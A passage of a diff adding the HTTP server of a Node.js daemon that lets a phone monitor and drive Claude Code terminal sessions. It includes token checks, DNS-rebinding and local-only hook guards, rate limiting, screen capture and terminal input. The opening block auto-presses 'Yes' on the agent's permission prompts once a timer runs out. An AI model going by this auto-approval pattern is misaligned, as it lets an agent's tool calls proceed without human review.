+ // (option 1) for you: the keystroke twin of the hook-based auto-approve, so nothing
705
+ // stays stuck when the app is closed. Gated to prompts whose first option is
706
+ // literally "Yes …" so option pickers, ratings and multi-selects are never touched.
707
+ const promptSeen = new Map(); // sessionId -> { sig, at, answeredAt }
708
+ setInterval(() => {
709
+ if (!config.autoApprove) { if (promptSeen.size) promptSeen.clear(); return; }
710
+ const now = Date.now();
711
+ for (const [id, s] of sessions) {
712
+ if (!s.pane) { promptSeen.delete(id); continue; }
713
+ if ([...pending.values()].some((p) => p.sessionId === id)) { promptSeen.delete(id); continue; } // hook path handles it
714
+ let st;
715
+ try { st = terminalStatus(s.pane); } catch { continue; }
716
+ const p = st.prompt;
717
+ const first = p?.options?.[0];
718
+ if (st.activity || !p || p.multi || !first || !/^yes\b/i.test(first.label)) { promptSeen.delete(id); continue; }
719
+ const sig = p.options.map((o) => `${o.key}:${o.label}`).join('|');
720
+ const seen = promptSeen.get(id);
721
+ if (!seen || seen.sig !== sig) { promptSeen.set(id, { sig, at: now, answeredAt: 0 }); continue; } // start the clock
722
+ if (now - seen.at < config.waitSeconds * 1000) continue; // let the countdown run
723
+ if (now - seen.answeredAt < 15_000) continue; // don't spam the same prompt
724
+ sendKeys(s.pane, [{ t: first.key }]);
725
+ seen.answeredAt = now;
726
+ log(`auto-answered [${id}] ${s.project}: pressed ${first.key} (${first.label})`);
727
+ notifyRelay();
728
+ }
729
+ }, 5_000).unref();
730
+
731
+ // ------------------------------------------------------------- server
732
+
733
+ function sendJson(res, status, body) {
734
+ if (res.writableEnded) return;
735
+ res.writeHead(status, { 'Content-Type': 'application/json' });
736
+ res.end(body === null ? '' : JSON.stringify(body));
737
+ }
738
+
739
+ const MAX_BODY = 30 * 1024 * 1024; // 30MB — room for several phone photos as base64
740
+ const MAX_IMAGES = 5;
741
+ // Resolves to the parsed JSON body, or TOO_BIG past MAX_BODY (the caller
742
+ // answers 413 — destroying the socket left the request hanging forever).
743
+ const TOO_BIG = Symbol('too big');
744
+ function readBody(req) {
745
+ return new Promise((resolve) => {
746
+ let data = '';
747
+ let tooBig = false;
748
+ req.on('data', (c) => {
749
+ if (tooBig) return;
750
+ data += c;
751
+ if (data.length > MAX_BODY) { tooBig = true; data = ''; req.pause(); resolve(TOO_BIG); }
752
+ });
753
+ req.on('end', () => {
754
+ if (tooBig) return;
755
+ try { resolve(JSON.parse(data || '{}')); } catch { resolve({}); }
756
+ });
757
+ req.on('error', () => resolve({}));
758
+ });
759
+ }
760
+
761
+ function remoteAddr(req) {
762
+ return req.socket.remoteAddress || 'unknown';
763
+ }
764
+
765
+ function isLocal(req) {
766
+ const a = remoteAddr(req);
767
+ return a === '127.0.0.1' || a === '::1' || a === '::ffff:127.0.0.1';
768
+ }
769
+
770
+ // ------------------------------------------------------- request guards
771
+
772
+ // Constant-time bearer check. A byte-by-byte `===` leaks how much of a guessed
773
+ // token was right through timing, which — with no rate limit — is enough to
774
+ // walk the token out one character at a time.
775
+ // Shared secret between the daemon and the hook shim (owner-only file). Hooks
776
+ // arrive over loopback without the app token; this is what stops any other
777
+ // local process — or a remote caller behind a local proxy — from forging them.
778
+ const HOOK_SECRET_FILE = path.join(DATA_DIR, 'hook-secret');
779
+ function loadHookSecret() {
780
+ try {
781
+ const s = fs.readFileSync(HOOK_SECRET_FILE, 'utf8').trim();
782
+ if (/^[0-9a-f]{64}$/.test(s)) return s;
783
+ } catch { /* first run */ }
784
+ const s = crypto.randomBytes(32).toString('hex');
785
+ fs.mkdirSync(DATA_DIR, { recursive: true, mode: 0o700 });
786
+ fs.writeFileSync(HOOK_SECRET_FILE, s + '\n', { mode: 0o600 });
787
+ return s;
788
+ }
789
+ const HOOK_SECRET = loadHookSecret();
790
+ function hookSecretOk(header) {
791
+ const given = Buffer.from(String(header || ''), 'utf8');
792
+ const want = Buffer.from(HOOK_SECRET, 'utf8');
793
+ return given.length === want.length && crypto.timingSafeEqual(given, want);
794
+ }
795
+
796
+ // An install from before the secret existed has a shim that doesn't send it,
797
+ // so every hook would now be refused. Refresh our own installed shim (and only
798
+ // ours, recognised by its header line) from the package copy on start.
799
+ (function refreshInstalledShim() {
800
+ const installed = path.join(DATA_DIR, 'hook-handler.sh');
801
+ const shipped = path.join(path.dirname(fileURLToPath(import.meta.url)), '..', 'hooks', 'hook-handler.sh');
802
+ try {
803
+ const cur = fs.readFileSync(installed, 'utf8');
804
+ const next = fs.readFileSync(shipped, 'utf8');
805
+ if (cur !== next && cur.includes('claude-bridge hook shim')) {
806
+ fs.writeFileSync(installed, next, { mode: 0o755 });
807
+ log('refreshed installed hook shim (now sends the hook secret)');
808
+ }
809
+ } catch { /* not installed here (tests, or a --local install elsewhere) */ }
810
+ })();
811
+
812
+ function tokenOk(header) {
813
+ const token = String(config.authToken || '');
814
+ if (!token) return false; // no token configured => nothing is authorized
815
+ const m = /^Bearer\s+(.+)$/i.exec(String(header || '').trim());
816
+ if (!m) return false;
817
+ const given = Buffer.from(m[1], 'utf8');
818
+ const want = Buffer.from(token, 'utf8');
819
+ if (given.length !== want.length) return false; // timingSafeEqual throws otherwise
820
+ return crypto.timingSafeEqual(given, want);
821
+ }
822
+
823
+ // DNS rebinding: a page on evil.com can re-point its own hostname at 127.0.0.1
824
+ // and then talk to this daemon with the user's own network position. The token
825
+ // already blocks that, but these are the cheap structural defenses — a browser
826
+ // cannot suppress Origin/Sec-Fetch-Site on a cross-site request, and it can only
827
+ // ever put a *name* in Host, never the raw address the app dials.
828
+ function hostAllowed(hostHeader) {
829
+ const raw = String(hostHeader || '').trim();
830
+ if (!raw) return false;
831
+ // strip the port: "127.0.0.1:8787", "[::1]:8787", or a bare IPv6
832
+ let host = raw.startsWith('[') ? raw.slice(1, raw.indexOf(']'))
833
+ : raw.includes(':') && net.isIP(raw) ? raw
834
+ : raw.split(':')[0];
835
+ host = host.toLowerCase();
836
+ if (!host) return false;
837
+ if (host === 'localhost' || net.isIP(host)) return true;
838
+ // Names the phone legitimately dials on a private network: Bonjour (.local)
839
+ // and Tailscale MagicDNS. Neither can be pointed anywhere by a public domain.
840
+ return host.endsWith('.local') || host.endsWith('.ts.net');
841
+ }
842
+
843
+ // Per-IP token bucket: 20 request burst, refilled at 20/sec. Generous for the
844
+ // app's polling, but it turns a stolen-token brute force or a runaway client
845
+ // into 429s instead of a saturated daemon.
846
+ const RATE_BURST = 20;
847
+ const RATE_REFILL_PER_SEC = 20;
848
+ const rateBuckets = new Map(); // ip -> { tokens, at }
849
+ function rateLimited(ip) {
850
+ const now = Date.now();
851
+ let b = rateBuckets.get(ip);
852
+ if (!b) { b = { tokens: RATE_BURST, at: now }; rateBuckets.set(ip, b); }
853
+ b.tokens = Math.min(RATE_BURST, b.tokens + ((now - b.at) / 1000) * RATE_REFILL_PER_SEC);
854
+ b.at = now;
855
+ if (b.tokens < 1) return true;
856
+ b.tokens -= 1;
857
+ return false;
858
+ }
859
+ setInterval(() => { // forget idle clients so the map can't grow without bound
860
+ const now = Date.now();
861
+ for (const [ip, b] of rateBuckets) if (now - b.at > 60_000) rateBuckets.delete(ip);
862
+ }, 60_000).unref();
863
+
864
+ // Each SSE client holds a socket open forever; cap them so an attacker (or a
865
+ // reconnect loop) can't exhaust the daemon's descriptors.
866
+ const MAX_SSE_CLIENTS = 20;
867
+
868
+ const server = http.createServer(async (req, res) => {
869
+ const url = new URL(req.url, `http://127.0.0.1:${PORT}`);
870
+ const route = `${req.method} ${url.pathname}`;
871
+
872
+ // Hooks are Mac-only: they arrive from claude on this machine, over loopback.
873
+ if (url.pathname.startsWith('/hook/')) {
874
+ if (!isLocal(req)) return sendJson(res, 403, { error: 'hooks are local-only' });
875
+ // The hook shim is curl, which never sends Origin/Sec-Fetch-*. A browser
876
+ // always does — so a web page POSTing to 127.0.0.1 can't forge sessions,
877
+ // approval cards or transcript paths, and DNS rebinding fails the Host check.
878
+ if (req.headers.origin || req.headers['sec-fetch-site']) {
879
+ return sendJson(res, 403, { error: 'hooks only accept requests from the hook shim' });
880
+ }
881
+ // A local reverse proxy (tailscale serve, ngrok, ssh -R…) makes remote
882
+ // callers look like loopback; such proxies add forwarding headers and use
883
+ // a name, while the shim always dials 127.0.0.1 directly.
884
+ const fwd = Object.keys(req.headers).some((h) => h === 'forwarded' || h.startsWith('x-forwarded-') || h.startsWith('tailscale-'));
885
+ const hookHost = String(req.headers.host || '').replace(/:\d+$/, '').replace(/^\[|\]$/g, '');
886
+ if (fwd || !(hookHost === 'localhost' || hookHost === '127.0.0.1' || hookHost === '::1')) {
887
+ return sendJson(res, 403, { error: 'hooks are local-only' });
888
+ }
889
+ if (!hookSecretOk(req.headers['x-bridge-hook'])) {
890
+ return sendJson(res, 403, { error: 'missing or wrong hook secret — re-run `bridge install`' });
891
+ }
892
+ }
893
+
894
+ if (url.pathname.startsWith('/api/')) {
895
+ if (rateLimited(remoteAddr(req))) return sendJson(res, 429, { error: 'too many requests' });
896
+ // Open on purpose: a client needs to see whether it is talking to a daemon
897
+ // it understands before it has been paired with one.
898
+ if (route === 'GET /api/version') return sendJson(res, 200, { version: PKG_VERSION });
899
+ if (req.headers.origin || String(req.headers['sec-fetch-site'] || '').toLowerCase() === 'cross-site') {
900
+ return sendJson(res, 403, { error: 'cross-origin requests are not allowed' });
901
+ }
902
+ if (!hostAllowed(req.headers.host)) {
903
+ return sendJson(res, 403, { error: 'unexpected Host header' });
904
+ }
905
+ // Loopback is NOT a trust boundary. Every page the user visits can reach
906
+ // 127.0.0.1, and this API opens terminals and approves tool calls — so the
907
+ // token is required here exactly as it is from the phone.
908
+ if (!tokenOk(req.headers.authorization)) {
909
+ return sendJson(res, 401, { error: 'unauthorized' });
910
+ }
911
+ }
912
+
913
+ if (route === 'GET /api/state') return sendJson(res, 200, publicState());
914
+ if (route === 'GET /api/system') return sendJson(res, 200, systemStats());
915
+ if (route === 'GET /api/screen') {
916
+ const jpg = captureScreen();
917
+ if (!jpg) return sendJson(res, 503, { error: 'screen capture failed (grant Screen Recording?)' });
918
+ res.writeHead(200, { 'Content-Type': 'image/jpeg', 'Cache-Control': 'no-store' });
919
+ return res.end(jpg);
920
+ }
921
+ // Answer a pending request straight from an ntfy notification button.
922
+ const dec = req.method === 'POST' && url.pathname.match(/^\/api\/decision\/([a-z0-9]{6,})\/(allow|deny)$/i);
923
+ if (dec) return sendJson(res, 200, { ok: resolveRequest(dec[1], dec[2].toLowerCase(), false, 'ntfy') });
924
+ if (route === 'GET /api/events') {
925
+ if (sseClients.size >= MAX_SSE_CLIENTS) {
926
+ return sendJson(res, 503, { error: 'too many event streams' });
927
+ }
928
+ res.writeHead(200, {
929
+ 'Content-Type': 'text/event-stream',
930
+ 'Cache-Control': 'no-cache',
931
+ Connection: 'keep-alive',
932
+ });
933
+ // Detect phones that vanished without a FIN (Wi-Fi drop): TCP keepalive
934
+ // probes kill the socket instead of it holding a slot for many minutes.
935
+ req.socket.setKeepAlive(true, 30_000);
936
+ req.socket.setNoDelay(true);
937
+ res.write(`data: ${JSON.stringify(publicState())}\n\n`);
938
+ sseClients.add(res);
939
+ req.on('close', () => sseClients.delete(res));
940
+ return;
941
+ }
942
+
943
+ // Terminal management for the app home screen: list launchable project dirs,
944
+ // open a new Claude terminal, close an existing one.
945
+ if (url.pathname === '/api/terminals' && req.method === 'GET') {
946
+ return sendJson(res, 200, { dirs: listProjectDirs() });
947
+ }
948
+ // Browse folders on the Mac (for picking a directory you don't remember).
949
+ if (url.pathname === '/api/browse' && req.method === 'GET') {
950
+ try { return sendJson(res, 200, browseDir(url.searchParams.get('path') || '')); }
951
+ catch (err) { return sendJson(res, 400, { error: String(err.message || err) }); }
952
+ }
953
+ // Create a new folder to start a session in.
954
+ if (url.pathname === '/api/mkdir' && req.method === 'POST') {
955
+ const body = await readBody(req);
956
+ try { return sendJson(res, 200, makeDir(String(body.parent || ''), String(body.name || ''))); }
957
+ catch (err) { return sendJson(res, 400, { error: String(err.message || err) }); }
958
+ }
959
+ if (url.pathname === '/api/terminals' && req.method === 'POST') {
960
+ const body = await readBody(req);
961
+ try {
962
+ const result = createTerminal(String(body.dir || ''), String(body.command || 'claude'));
963
+ // Claude sessions register themselves via hooks (transcript, status, etc.).
964
+ // Other agents don't fire Claude hooks, so register a terminal-only session
965
+ // here — preview + typed input + keys all work agent-agnostically over tmux.
966
+ if (result.agent !== 'claude' && result.pane) {
967
+ const id = `term-${result.session}`;
968
+ sessions.set(id, {
969
+ id, cwd: result.dir, project: projectOf(result.dir), pane: result.pane,
970
+ agent: result.agent, terminalOnly: true, status: 'working',
971
+ startedAt: Date.now(), lastEvent: Date.now(),
972
+ });
973
+ persistSessions();
974
+ }
975
+ log(`terminal opened: ${result.session} (${result.agent} · ${result.dir})`);
976
+ return sendJson(res, 200, result);
977
+ } catch (err) {
978
+ return sendJson(res, 400, { error: String(err.message || err) });
979
+ }
980
+ }
981
+ const closeRoute = /^\/api\/session\/([^/]+)\/close$/.exec(url.pathname);
982
+ if (closeRoute && req.method === 'POST') {
983
+ const s = sessions.get(closeRoute[1]);
984
+ if (!s) return sendJson(res, 404, { error: 'unknown session' });
985
+ if (!s.pane) return sendJson(res, 409, { error: 'session is not running inside tmux' });
986
+ try {
987
+ const result = killTerminal(s.pane);
988
+ log(`terminal closed: ${result.killed}`);
989
+ return sendJson(res, 200, result);
990
+ } catch (err) {
991
+ return sendJson(res, 500, { error: String(err.message || err) });
992
+ }
993
+ }
994
+
995
+ // Session-scoped endpoints for the app: transcript, terminal preview, typed input.
996
+ const sessionRoute = /^\/api\/session\/([^/]+)\/(transcript|preview|input|keys|status|image|auto)$/.exec(url.pathname);
997
+ if (sessionRoute) {
998
+ const s = sessions.get(sessionRoute[1]);
999
+ if (!s) return sendJson(res, 404, { error: 'unknown session' });
1000
+ // Reads are GET, actions are POST — a GET must never change anything
1001
+ // (a prefetch of /auto used to switch auto-continue off).
1002
+ const wantMethod = ['transcript', 'preview', 'status'].includes(sessionRoute[2]) ? 'GET' : 'POST';
1003
+ if (req.method !== wantMethod) {
1004
+ res.setHeader('Allow', wantMethod);
1005
+ return sendJson(res, 405, { error: `use ${wantMethod}` });
1006
+ }
1007
+ const body = await readBody(req);
1008
+ if (body === TOO_BIG) {
1009
+ res.setHeader('Connection', 'close');
1010
+ return sendJson(res, 413, { error: 'too large — send fewer or smaller photos' });
1011
+ }
1012
+ try {
1013
+ switch (sessionRoute[2]) {
1014
+ case 'transcript':
1015
+ return sendJson(res, 200, { messages: readTranscript(s.transcriptPath, Number(url.searchParams.get('limit')) || 80) });
1016
+ case 'preview':
1017
+ if (!s.pane) return sendJson(res, 409, { error: 'session is not running inside tmux' });
1018
+ return sendJson(res, 200, { text: capturePane(s.pane) });
1019
+ case 'status':
1020
+ if (!s.pane) return sendJson(res, 409, { error: 'session is not running inside tmux' });
1021
+ return sendJson(res, 200, terminalStatus(s.pane));
1022
+ case 'input': {
1023
+ if (!s.pane) return sendJson(res, 409, { error: 'session is not running inside tmux' });
1024
+ if (typeof body.text !== 'string' || !body.text.trim() || body.text.length > 10_000) {
1025
+ return sendJson(res, 400, { error: 'text required' });
1026
+ }
1027
+ sendInput(s.pane, body.text);
1028
+ s.autoCount = 0; // manual interaction refills the auto-continue budget
1029
+ log(`input sent to ${s.project}: ${body.text.slice(0, 80)}`);
1030
+ return sendJson(res, 200, { ok: true });
1031
+ }
1032
+ case 'auto':
1033
+ s.autoContinue = !!body.on;
1034
+ s.autoCount = 0; s.autoNudgedAt = 0;
1035
+ log(`auto-continue ${s.autoContinue ? 'ON' : 'off'} for ${s.project}`);
1036
+ notifyRelay();
1037
+ return sendJson(res, 200, { ok: true, autoContinue: s.autoContinue });
1038
+ case 'keys': {
1039
+ if (!s.pane) return sendJson(res, 409, { error: 'session is not running inside tmux' });
1040
+ if (!Array.isArray(body.keys) || body.keys.length === 0 || body.keys.length > 200) {
1041
+ return sendJson(res, 400, { error: 'keys required' });
1042
+ }
1043
+ sendKeys(s.pane, body.keys);
1044
+ return sendJson(res, 200, { ok: true, ...terminalStatus(s.pane) });
1045
+ }
1046
+ case 'image': {
1047
+ if (!s.pane) return sendJson(res, 409, { error: 'session is not running inside tmux' });
1048
+ // `images` (array, new apps) or `data` (one image, older apps).
1049
+ const list = Array.isArray(body.images) ? body.images : [body.data];
1050
+ if (!list.length || list.length > MAX_IMAGES || list.some((d) => typeof d !== 'string' || !d)) {
1051
+ return sendJson(res, 400, { error: `send 1–${MAX_IMAGES} images` });
1052
+ }
1053
+ const buffers = list.map((d) => Buffer.from(d, 'base64'));
1054
+ if (buffers.some((b) => !b.length)) return sendJson(res, 400, { error: 'invalid image' });
1055
+ // Another batch still pasting: say so now rather than queueing past the
1056
+ // phone's deadline (it would retry, and the photos would land twice).
1057
+ if (imagesBusy()) return sendJson(res, 409, { error: 'another photo upload is still being pasted — try again in a moment' });
1058
+ await sendImages(s.pane, buffers, { caption: typeof body.caption === 'string' ? body.caption : '' });
1059
+ log(`${buffers.length} image(s) sent to ${s.project} (${buffers.reduce((n, b) => n + b.length, 0)} bytes)`);
1060
+ return sendJson(res, 200, { ok: true });
1061
+ }
1062
+ }
1063
+ } catch (err) {
1064
+ return sendJson(res, 500, { error: String(err.message || err) });
1065
+ }
1066
+ }
1067
+
1068
+ let body = await readBody(req);
1069
+ if (body === TOO_BIG) { res.setHeader('Connection', 'close'); return sendJson(res, 413, { error: 'too large' }); }
1070
+ const pane = url.searchParams.get('pane') || '';
1071
+
1072
+ switch (route) {
1073
+ case 'POST /hook/session-start':
1074
+ touchSession(body, 'working', pane, { replacePane: ['clear', 'resume', 'compact'].includes(body.source) });
1075
+ return sendJson(res, 200, null);
1076
+ case 'POST /hook/session-end': {
1077
+ if (body.session_id) sessions.delete(body.session_id);
1078
+ persistSessions();
1079
+ log(`session ended (${String(body.session_id).slice(0, 8)})`);
1080
+ notifyRelay();
1081
+ return sendJson(res, 200, null);
1082
+ }
1083
+ case 'POST /hook/stop':
1084
+ touchSession(body, 'needs-input', pane);
1085
+ notifyRelay();
1086
+ return sendJson(res, 200, null);
1087
+ case 'POST /hook/notification': {
1088
+ // Claude Code fires Notification when it is waiting on the user:
1089
+ // permission prompts ("needs your permission") vs idle waiting.
1090
+ const msg = String(body.message || '');
1091
+ const st = /permission|approv|proceed/i.test(msg) ? 'needs-approval' : 'needs-input';
1092
+ touchSession(body, st, pane);
1093
+ log(`notification (${st}): ${msg.slice(0, 80)}`);
1094
+ notifyRelay();
1095
+ return sendJson(res, 200, null);
1096
+ }
1097
+ case 'POST /hook/pre-tool-use':
1098
+ return handlePreToolUse(body, res, pane);
1099
+ case 'POST /api/decision': {
1100
+ const ok = resolveRequest(
1101
+ body.id,
1102
+ body.decision === 'allow' ? 'allow' : 'deny',
1103
+ Boolean(body.always),
1104
+ body.source || 'api',
1105
+ );
1106
+ return sendJson(res, ok ? 200 : 404, { ok });
1107
+ }
1108
+ case 'POST /api/config': {
1109
+ // Allowlisted, type-checked, and nothing else. A blind merge let any
1110
+ // caller rewrite authToken (hand itself a credential), bindHost (expose
1111
+ // the daemon to the LAN) or apns. Those stay file-only, set by `bridge`
1112
+ // on the Mac. Unknown keys are ignored rather than rejected so an older
1113
+ // or newer app doesn't get a hard error for a field we don't know.
1114
+ const next = {};
1115
+ if (typeof body.remoteApproval === 'boolean') next.remoteApproval = body.remoteApproval;
1116
+ if (typeof body.autoApprove === 'boolean') next.autoApprove = body.autoApprove;
1117
+ if (typeof body.showDetached === 'boolean') next.showDetached = body.showDetached;
1118
+ if (typeof body.ntfyTopic === 'string') next.ntfyTopic = body.ntfyTopic.trim().slice(0, 200);
1119
+ if (typeof body.waitSeconds === 'number') next.waitSeconds = clampWait(body.waitSeconds);
1120
+ config = { ...config, ...next };
1121
+ saveJson(CONFIG_FILE, config);
1122
+ log(`config updated: ${JSON.stringify(next)}`); // only the applied keys — never the whole config
1123
+ reapAndDiscover(); // apply showDetached immediately instead of waiting for the 15s tick
1124
+ notifyRelay();
1125
+ return sendJson(res, 200, publicState().config);
1126
+ }
1127
+ case 'POST /api/ntfy/test':
1128
+ if (!String(config.ntfyTopic || '').trim()) return sendJson(res, 400, { error: 'no ntfy topic set' });
1129
+ notifyNtfy('Claude Remote', 'Test notification — push is working ✓', { tags: 'white_check_mark', priority: 'default' });
1130
+ return sendJson(res, 200, { ok: true });
1131
+ case 'POST /api/apns/register': {
1132
+ if (body.type === 'push-to-start') devices.pushToStart = String(body.token || '');
1133
+ else if (body.type === 'activity') devices.activity = String(body.token || '');
1134
+ else return sendJson(res, 400, { error: 'type must be push-to-start or activity' });
1135
+ saveJson(DEVICES_FILE, devices);
1136
+ log(`apns token registered: ${body.type}`);
1137
+ if (body.type === 'activity' && pending.size) apnsSync(); // freshly started activity: sync its content now
1138
+ return sendJson(res, 200, { ok: true });
1139
+ }
1140
+ case 'GET /api/apns/status':
1141
+ return sendJson(res, 200, {
1142
+ configured: apns.configured(),
1143
+ production: Boolean(config.apns?.production),
1144
+ hasKeyFile: fs.existsSync(path.join(DATA_DIR, 'AuthKey.p8')),
1145
+ teamId: Boolean(config.apns?.teamId),
1146
+ keyId: Boolean(config.apns?.keyId),
1147
+ bundleId: config.apns?.bundleId || '',
1148
+ devices: { pushToStart: Boolean(devices.pushToStart), activity: Boolean(devices.activity) },
1149
+ });
1150
+ case 'POST /api/rules/clear':
1151
+ rules = [];
1152
+ saveJson(RULES_FILE, rules);
1153
+ notifyRelay();
1154
+ return sendJson(res, 200, { ok: true });
1155
+ case 'POST /api/rules/delete': {
1156
+ const i = Number(body.index);
1157
+ if (Number.isInteger(i) && i >= 0 && i < rules.length) {
1158
+ rules.splice(i, 1);
1159
+ saveJson(RULES_FILE, rules);
1160
+ notifyRelay();
1161
+ }
1162
+ return sendJson(res, 200, { ok: true, rules });
1163
+ }
1164
+ default:
1165
+ return sendJson(res, 404, { error: 'not found' });
1166
+ }
1167
+ });
1168
+
1169
+ restoreSessions(); // bring back terminals that survived a daemon restart
1170
+
1171
+ // Without this, a bind failure surfaces as an unhandled 'error' event: the
1172
+ // process dies on a raw stack trace and launchd's KeepAlive restarts it in a
1173
+ // loop, forever, with nothing readable to explain why.
1174
+ server.on('error', (err) => {
1175
+ if (err.code === 'EADDRINUSE') {
1176
+ console.error(`port ${PORT} already in use — another bridge daemon (or some other program on 127.0.0.1) holds it.`);
1177
+ console.error(`check with: launchctl list | grep claude-bridge (or: lsof -nP -iTCP:${PORT})`);
1178
+ } else if (err.code === 'EACCES') {
1179
+ console.error(`not allowed to bind ${config.bindHost}:${PORT}`);
1180
+ } else {
1181
+ console.error(`daemon failed to start: ${err.message}`);
1182
+ }
1183
+ log(`fatal: listen ${config.bindHost}:${PORT} — ${err.code || err.message}`);
1184
+ process.exit(1);
1185
+ });
1186
+
1187
+ // Hooks always talk to 127.0.0.1. With a wildcard bind, macOS still lets any
1188
+ // other process bind 127.0.0.1:PORT on top of us and silently steal every hook
1189
+ // (seen: a dev proxy left running — every session lost its transcript). Holding
1190
+ // the loopback address ourselves too makes that collision fail loudly instead.
1191
+ const WILDCARD = new Set(['0.0.0.0', '::', '']);
1192
+ function listenMain() {
1193
+ server.listen(PORT, config.bindHost, () => {
1194
+ log(`claude-bridge daemon listening on ${config.bindHost}:${PORT} (remoteApproval=${config.remoteApproval})`);
1195
+ console.log(`claude-bridge daemon on http://${config.bindHost}:${PORT}`);
1196
+ });
1197
+ }
1198
+ if (WILDCARD.has(config.bindHost || '')) {
1199
+ const loopback = http.createServer(server.listeners('request')[0]);
1200
+ loopback.on('error', (err) => server.emit('error', err));
1201
+ loopback.listen(PORT, '127.0.0.1', listenMain);
1202
+ } else {
1203
+ listenMain();
1204
+ }